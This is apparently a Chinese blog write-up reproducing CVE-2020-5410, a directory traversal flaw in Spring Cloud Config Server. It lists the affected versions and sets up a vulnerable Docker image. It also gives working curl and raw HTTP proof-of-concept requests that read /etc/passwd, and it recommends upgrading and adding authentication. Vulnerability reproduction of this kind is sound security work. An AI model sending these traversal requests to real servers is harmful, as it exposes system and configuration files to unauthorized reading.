Spring Cloud Config 目录穿越漏洞CVE-2020-5410的复现怎么样的,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
Spring Cloud Config 目录穿越漏洞
(CVE-2020-5410)
一、漏洞简介
Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求,这可能导致目录遍历攻击。
二、影响版本
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
三、漏洞环境&漏洞复现
PoC:
curl "vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
curl "127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
docker环境部署:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
docker run -it –name=spring-cloud-config-server /
-p 8888:8888 /
hyness/spring-cloud-config-server:2.1.6.RELEASE /
–spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
访问地址:http://192.168.0.110:8888/
执行POC:
curl "192.168.0.110:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
Burp执行访问:
详细数据包:
GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1
Host: 192.168.0.110:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
系统执行访问记录:
四、修复建议:
升级到 Spring Cloud Config 至2.2.3版本或2.1.9版本,并且将Spring-Cloud-Config-Server服务放置在内网中,同时使用Spring Security进行身份验证。最新版本下载地址为:https://github.com/spring-cloud/spring-cloud-config/releases
看完上述内容,你们掌握Spring Cloud Config 目录穿越漏洞CVE-2020-5410的复现怎么样的的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!
原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/220246.html